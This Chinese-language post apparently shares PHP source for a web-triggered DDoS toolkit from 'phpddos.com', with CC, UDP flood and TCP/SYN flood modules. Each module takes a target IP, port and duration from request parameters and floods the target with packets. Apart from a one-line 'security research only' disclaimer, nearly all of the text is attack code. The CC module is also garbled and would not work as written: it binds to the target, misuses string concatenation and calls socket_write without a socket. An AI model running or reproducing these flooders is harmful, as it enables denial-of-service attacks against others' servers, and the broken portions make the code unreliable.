网络安全向,请勿用作非法用途
CC攻击模块:
echo “状态 : 正常运行中…..
”;
echo “================================================
”;
echo ” www.phpddos.com
”;
echo ” CC Flood 模块
”;
echo ” 作者:ybhacker
”;
echo ” 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!
”;
echo “================================================
”;
error_reporting(E_ALL); //提示错误信息
set_time_limit(0); //设定一个程式所允许执行的秒数 0 是无限循环
ob_implicit_flush(); // 刷新输出缓冲
$address = $_POST[‘site’]; // 网站地址
$port = $_POST[‘port’]; // 端口
$dongu = $_POST[‘dongu’]; //循环次数
$sayi = 1;
while ( $sayi <= $dongu ) //变量asyi小于 循环次数变量 dongu 才会继续循环
{
if (($sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP)) === false) {
echo “HaHa\n”;
}
if (socket_bind($sock, $address, $port) === false) { // 连接端口
echo “HaHa\n”;
}
if (socket_listen($sock, 5) === false) {
echo “HaHa\n”;
}
$msg = “HTTP/1.1 GET /\r\nHost:”+$_GET[‘site’]+”\r\nConnection: Keep-Alive\r\n”;
socket_write($msg);
socket_close($sock);
$sayi++; // 循环一次 变量sayi 加1
echo “Goodbye…”.$sayi; // 输出循环次数
}
?>
UDP攻击模块:
$packets = 0;
$ip = $_GET[‘ip’];
$port = $_GET[‘port’];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[‘time’];
$time = time();
print “状态 : 正常运行中…..
”;
$max_time = $time+$exec_time;
for($i=0;$i<65535;$i++){
$out .= “phpddos”;
}
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(“udp://$ip”, $port, $errno, $errstr, 5);
if($fp){
fwrite($fp, $out);
fclose($fp);
}
}
echo “================================================
”;
echo ” www.phpddos.com
”;
echo ” 作者:ybhacker
”;
echo ” 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!
”;
echo “================================================
”;
echo ” 攻击包总数:”.$packets.” 个数据包”;
echo ” 攻击总流量:”.round(($packets*65*8)/(1024*1024),2).” Mbps”;
echo ” 攻击总字节:”.time(‘h:i:s’).” 字节”;
echo “Packet complete at “.time(‘h:i:s’).” with $packets (” .round(($packets*65*8)/(1024*1024),2). ” Mbps) packets averaging “. round($packets/$exec_time, 2) . ” packets/s \n”;
?>
TCP攻击模块:
ini_set(“display_errors”, “Off”);
$packets = 0;
$ip = $_GET[‘ip’];
$port = $_GET[‘port’];
set_time_limit(0);
ignore_user_abort(FALSE);
$exec_time = $_GET[‘time’];
$time = time();
print “状态 : 正常运行中…..
”;
$max_time = $time+$exec_time;
while(1){
$packets++;
if(time() > $max_time){
break;
}
$fp = fsockopen(“tcp://$ip”, $port,$errno,$errstr,0);
}
echo “================================================
”;
echo ” www.phpddos.com
”;
echo ” SYN Flood 模块
”;
echo ” 作者:ybhacker
”;
echo ” 警告:本程序带有攻击性,仅供安全研究与教学之用,风险自负!
”;
echo “================================================
”;
echo ” 攻击包总数:”.$packets.” 个数据包”;
echo ” 攻击总流量:”.round(($packets*65*8)/(1024*1024),2).” Mbps”;
echo ” 攻击总字节:”.time(‘h:i:s’).” 字节”;
echo “Packet complete at “.time(‘h:i:s’).” with $packets (” .round(($packets*65*8)/(1024*1024),2). ” Mbps) packets averaging “. round($packets/$exec_time, 2) . ” packets/s \n”;
?>